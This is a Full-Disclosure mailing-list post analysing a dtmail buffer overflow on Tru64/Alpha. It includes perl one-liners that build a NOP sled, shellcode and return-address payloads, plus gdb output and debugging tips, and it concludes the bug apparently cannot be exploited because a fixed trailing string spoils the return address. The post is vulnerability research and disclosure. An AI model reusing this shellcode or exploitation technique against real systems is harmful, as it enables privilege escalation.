-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hello,
I had a look to this bug and it seems NOT to be exploitable. More or less according to HP advisory ("HPSBTU02163 SSRT061223") which marks the impact as POTENTIAL ("Potential Security Impact: Local execution of arbitrary code") but just the opposite to Netragard advisory, which marks the bug as "Effort: Easy". They also gave us to understand that they have an exploit ("proof of concept: undisclosed"). Can somebody at Netregard and/or HP confirm that the bug is truly exploitable (to escalate privileges)? It would be nice to hear from Netregard how did they supposedly exploited this. Really. Analysis and debug info.- ======================= Summary: It is clearly a buffer overflow but we don't have full control of attacking string. The overflowing string is built by concatenating argument passed with "-a" dtmail option, with the fixed string " does not exist.". So it you run: "./dtmail -a AAAAAAAA", the "overflowing string" would be: "AAAAAAAA does not exist." This is a problem, when combined with 64-bits addresses in Alpha, and the fact that this kind of addresses always contains NULLs (typical libc address is 6 bytes, and a stack address uses to be 5 bytes; rest of bytes are null-padded). Let's begin... A first attempt to test the exploitation, could be: ./dtmail -a `perl -e 'print "\x1f\x04\xff\x47"x478 . pack("I*",0x221efc18,0x42061412,0x47f0d411,0xb230fffc,0xb232fffc,0xd21ffffb,0x420e1415,0x42069414,0x43e79413,0xa235fffc,0x42061410,0xa254fffc,0x42609533,0x46510812,0xb254fffc,0x42809414,0xf67ffffa,0x41414141,0xcf497996,0xca8e9c85,0x3d368888,0xcb6a7c88,0x3f768880,0xcf778c98,0x8888880b,0xcf568c99,0xcd258c98,0xcf778c9a,0xcb6ffc88,0x8888880b,0xe1eaa7a7,0xe0fba7e6,0x88888888,0x88888888) . pack("Q", 0x0102030405060708)'` which is: [many NOPs] [Shellcode] [RET] The result seems good: we got execution flow directed to our RET address (0x0102030405060708) *BUT* if you try to land into our shellcode: ./dtmail -a `perl -e 'print "\x1f\x04\xff\x47"x478 . pack("I*",0x221efc18,0x42061412,0x47f0d411,0xb230fffc,0xb232fffc,0xd21ffffb,0x420e1415,0x42069414,0x43e79413,0xa235fffc,0x42061410,0xa254fffc,0x42609533,0x46510812,0xb254fffc,0x42809414,0xf67ffffa,0x41414141,0xcf497996,0xca8e9c85,0x3d368888,0xcb6a7c88,0x3f768880,0xcf778c98,0x8888880b,0xcf568c99,0xcd258c98,0xcf778c9a,0xcb6ffc88,0x8888880b,0xe1eaa7a7,0xe0fba7e6,0x88888888,0x88888888) . pack("Q", 0x11fffe404)'` you'll see RET address is NOT completely correct :-((. Gdb output: alpha> gdb -q --nw dtmail core inst emulated pid=1662 <gdb> va=0x1400f8280 pc=0x12005b708 inst=0x3be00000 (no debugging symbols found)... warning: big endian file does not match little endian target. Core was generated by `dtmail'. Program terminated with signal 11, Segmentation fault. Reading symbols from /sbin/loader...(no debugging symbols found)...done. Loaded symbols for /sbin/loader Reading symbols from /usr/shlib/libXmu.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libXmu.so Reading symbols from /usr/shlib/libDtHelp.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libDtHelp.so Reading symbols from /usr/shlib/libiconv.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libiconv.so Reading symbols from /usr/shlib/libDtSvc.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libDtSvc.so Reading symbols from /usr/shlib/libtt.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libtt.so Reading symbols from /usr/shlib/libcxx.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libcxx.so Reading symbols from /usr/shlib/libDtWidget.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libDtWidget.so Reading symbols from /usr/shlib/libXm.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libXm.so Reading symbols from /usr/shlib/libXt.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libXt.so Reading symbols from /usr/shlib/libSM.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libSM.so Reading symbols from /usr/shlib/libICE.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libICE.so Reading symbols from /usr/shlib/libXext.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libXext.so Reading symbols from /usr/shlib/libX11.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libX11.so Reading symbols from /usr/shlib/libdnet_stub.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libdnet_stub.so Reading symbols from /usr/shlib/libm.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libm.so Reading symbols from /usr/shlib/libexc.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libexc.so Reading symbols from /usr/shlib/libc.so...(no debugging symbols found)...done. Loaded symbols for /usr/shlib/libc.so warning: Hit heuristic-fence-post without finding warning: enclosing function for address 0x6f6420011fffe404 This warning occurs if you are debugging a function without any symbols (for example, in a stripped executable). In that case, you may wish to increase the size of the search with the `set heuristic-fence-post' command. Otherwise, you told GDB there was a function where there isn't one, or (more likely) you have encountered a bug in GDB. #0 0x6f6420011fffe404 in ?? () (gdb) Do you see what the problem is? Look at the difference: - - attempted RET: 0x000000011fffe404 - - real RET: 0x6f6420011fffe404 The "0x6f6420" portion corresponds to "do " string, which belongs to the string that was automatically added (fixed string): " does not exist.". So we cannot control RET address :-(((( Ways of controlling RET address (so this bug *could* be exploitable): A) Find a useful RET address without NULLs (i.e. a fully 64-bits address). Is this possible? Let me hear from you if you know about it. B) Try to use fixed string to build a valid RET address (not controllable but perhaps useful). Let's try option B. This is the fixed string: " does not exist." (16 bytes + NULL) [ perl -e 'print pack("I*",0x656f6420,0x6f6e2073,0x78652074,0x2e747369)."\x00"' ] RET address is located just after the overflowing string and Alpha is little-endian, so we could try some kind of off-by-one overflow, off-by-two, etc. The original RET address (without overflow) is 0x012008df3c. Using this method we can overwrite least significant bytes (so you can insert bytes from right to left: 0x00, 0x2e, 0x74, 0x73, etc). But the bytes cannot be arbitrarily chosen, they're taken from the fixed string (remember?). I tested this method and only found these valid RET addresses: B1) 0x012008df00 ./dtmail -a `perl -e 'print "\x1f\x04\xff\x47"x474 . pack("I*",0x221efc18,0x42061412,0x47f0d411,0xb230fffc,0xb232fffc,0xd21ffffb,0x420e1415,0x42069414,0x43e79413,0xa235fffc,0x42061410,0xa254fffc,0x42609533,0x46510812,0xb254fffc,0x42809414,0xf67ffffa,0x41414141,0xcf497996,0xca8e9c85,0x3d368888,0xcb6a7c88,0x3f768880,0xcf778c98,0x8888880b,0xcf568c99,0xcd258c98,0xcf778c9a,0xcb6ffc88,0x8888880b,0xe1eaa7a7,0xe0fba7e6,0x88888888,0x88888888)'` B2) 0x012008002e ./dtmail -a `perl -e 'print "A"."\x1f\x04\xff\x47"x474 . pack("I*",0x221efc18,0x42061412,0x47f0d411,0xb230fffc,0xb232fffc,0xd21ffffb,0x420e1415,0x42069414,0x43e79413,0xa235fffc,0x42061410,0xa254fffc,0x42609533,0x46510812,0xb254fffc,0x42809414,0xf67ffffa,0x41414141,0xcf497996,0xca8e9c85,0x3d368888,0xcb6a7c88,0x3f768880,0xcf778c98,0x8888880b,0xcf568c99,0xcd258c98,0xcf778c9a,0xcb6ffc88,0x8888880b,0xe1eaa7a7,0xe0fba7e6,0x88888888,0x88888888)'` I couldn't find a way to gain control of PC following the former RET addresses. I gave it up. :-(((((( If you wanna try for yourself, these are some useful debugging tips/addresses for this bug: * Trace: (gdb) bt #0 0x3ff8013c628 in poll () from /usr/shlib/libc.so #1 0x3ff806a3854 in _XtWaitForSomething () from /usr/shlib/libXt.so #2 0x3ff806a6154 in XtAppProcessEvent () from /usr/shlib/libXt.so #3 0x1200627c4 in post_and_return__15DtMailGenDialogXPc () #4 0x120052d84 in handleErrorDialog__10AttachAreaXPcPcPc () #5 0x120050740 in addAttachment__10AttachAreaXPQ16DtMail7MessagePQ16DtMail8BodyPartPcPc () #6 0x1200b254c in inclAsAttmt__13SendMsgDialogXPcPc () warning: Hit heuristic-fence-post without finding warning: enclosing function for address 0x102030405060708 (gdb) * Interesting breakpoints: Breakpoint 3, 0x120052d08 in handleErrorDialog__10AttachAreaXPcPcPc () DIALOG->pulso ok Breakpoint 1, 0x120062804 in post_and_return__15DtMailGenDialogXPc () Breakpoint 4, 0x120052d8c in handleErrorDialog__10AttachAreaXPcPcPc () Breakpoint 8, 0x120050ef8 in addAttachment__10AttachAreaXPQ16DtMail7MessagePQ16DtMail8BodyPartPcPc () Breakpoint 9, 0x1200b2558 in inclAsAttmt__13SendMsgDialogXPcPc () 2: /x $pc = 0x1200b2558 1: /x $ra = 0x102030405060708 In particular, a very interesting address to place a breakpoint in is 0x1200b2558 (which is just the instruction following the reading of return address from the stack). Print the value of RA register and play with it. If you're still here, you are some kind of weirdo!! :-))) PS: Anyway, typical buffer overflows (where you haven't got a fixed and disturbing string at the end, like in this case) in Tru64 *ARE* exploitable, as you all probably know. Cheers, - -Roman PERFECT.MATERIAL escribió: > I think my post was moderated anyway due to my overt racism. But, I > remember this bug from a while back and I think there was a pointer > dereferenced before the function returns (which is common with most of > the CDE bugs). The 64 bit pointer is of course 8 bytes of the string you > use to smash the buffer, and it requires some NULL bytes which is not > possible given the architecture. I was a little unclear about this > (actually, completely wrong) but am still fairly confident this bug > isn't actually exploitable on TRU64. > > PERFECT.MATERIAL > > > On 10/20/06, *Roman Medina-Heigl Hernandez* <[EMAIL PROTECTED] > <mailto:[EMAIL PROTECTED]>> wrote: > > PERFECT.MATERIAL escribió: >> Correction, TRU64 runs on Alphas in LSB mode. However, this bug is > still >> not exploitable. Sorry for the NETRAGARD-like fuckup :D > > I didn't have time enough to test this, but at first sight it seems > perfectly exploitable. > > Alpha is a "true" 64 bits RISC processor (both data & addressing > being 64 > bits), little-endian. A typical stack address is something like: > 0x000000001ffff530 ( "\x30\xf5\xff\x1f\x01\x00\x00\x00" ) > > So yes, you have nulls (3, in this case), but at the end of the > string :-) > You can try a typical string-alike buffer: > [ NOPs ... SHELLCODE RET ] > (stack variables are just before RET, you have not saved frame pointer > stored here) > > Assuming a typical RET value (like the former one), your exploit should > rely on memory being "more or less clean", I mean, at least two > nulls (the > third one is \0 terminator byte, you can insert it) should be exist > in the > memory location where the attack string is being copied (well, at > the end > of the string). Is this difficult? I don't think so (but I don't really > know for sure). > > You can minimize the problem if you use longer RET addreses. For > instance, > a typical address inside libc functions could be: 0x3ff800f3810 (so you > have two nulls, instead of three). You'd have to deal with only one > residual null value, instead of two. You can try this with a typical > return > into libc exploit. This should be also sufficient (and useful) to avoid > non-executable stack protection, which is enabled by default in Tru64. > > Well, that's the theory... :-) - -- Saludos, - -Roman PGP Fingerprint: 09BB EFCD 21ED 4E79 25FB 29E1 E47F 8A7D EAD5 6742 [Key ID: 0xEAD56742. Available at KeyServ] -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2.2 (MingW32) iD8DBQFFO5dh5H+KferVZ0IRAqUYAJkBukxl+2XSlTiB5e80B0OFnUA+UACeLXX4 F+jeoGD9/lh2x0AzzJ4WNxY= =mHTv -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/